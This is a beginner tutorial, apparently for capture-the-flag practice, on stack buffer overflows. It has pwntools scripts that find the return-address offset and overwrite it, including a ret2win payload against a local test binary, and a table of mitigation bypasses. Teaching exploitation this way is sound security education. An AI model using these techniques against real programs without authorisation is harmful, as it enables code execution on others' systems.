Buffer Overflow Basics
How stack-based buffer overflows work, how to find the offset, and how to control the instruction pointer.
The bug
A buffer overflow happens when a program writes more data into a fixed-size buffer than it allocated. On the stack, the buffer sits next to the saved return address. Overflow far enough and you overwrite where the function returns — you control execution.
LOW ADDRESS
| local_buf[64] | <- your input goes here
| saved rbp |
| return address | <- overwrite this → code execution
HIGH ADDRESS
Finding the offset
You need to know exactly how many bytes overwrite the return address.
Method 1 — cyclic pattern:
from pwn import *
# Generate a 200-byte De Bruijn sequence
pattern = cyclic(200)
# Feed it to the binary, capture the crash address in GDB
# Then:
offset = cyclic_find(0x6161616c) # the 4-byte value in rip/eip at crash
print(offset)
Method 2 — manual: use python3 -c "print('A'*64 + 'B'*8 + 'C'*8)" and
watch which register fills with CCCCCCCC.
Controlling rip
Once you know the offset, overwrite the return address with any value:
from pwn import *
io = process("./vuln")
offset = 72 # bytes until return address
payload = b"A" * offset
payload += p64(0xdeadbeef) # little-endian 8-byte address
io.sendline(payload)
io.interactive()
Ret2win — the beginner pattern
Many CTF challenges have a win() function that prints the flag but is never
called. Your job: overwrite the return address with win()’s address.
elf = ELF("./vuln")
win_addr = elf.symbols['win']
payload = b"A" * offset + p64(win_addr)
io.sendline(payload)
print(io.recvall())
Mitigations you may encounter
| Mitigation | Check | Bypass |
|---|---|---|
| NX (non-executable stack) | checksec ./vuln |
ROP chains |
| Stack canary | checksec ./vuln |
Leak canary first |
| PIE | checksec ./vuln |
Leak base address |
| ASLR | /proc/sys/kernel/randomize_va_space |
Info leak or ret2plt |
Beginner challenges usually have all mitigations off. Run checksec first to
confirm what you’re dealing with.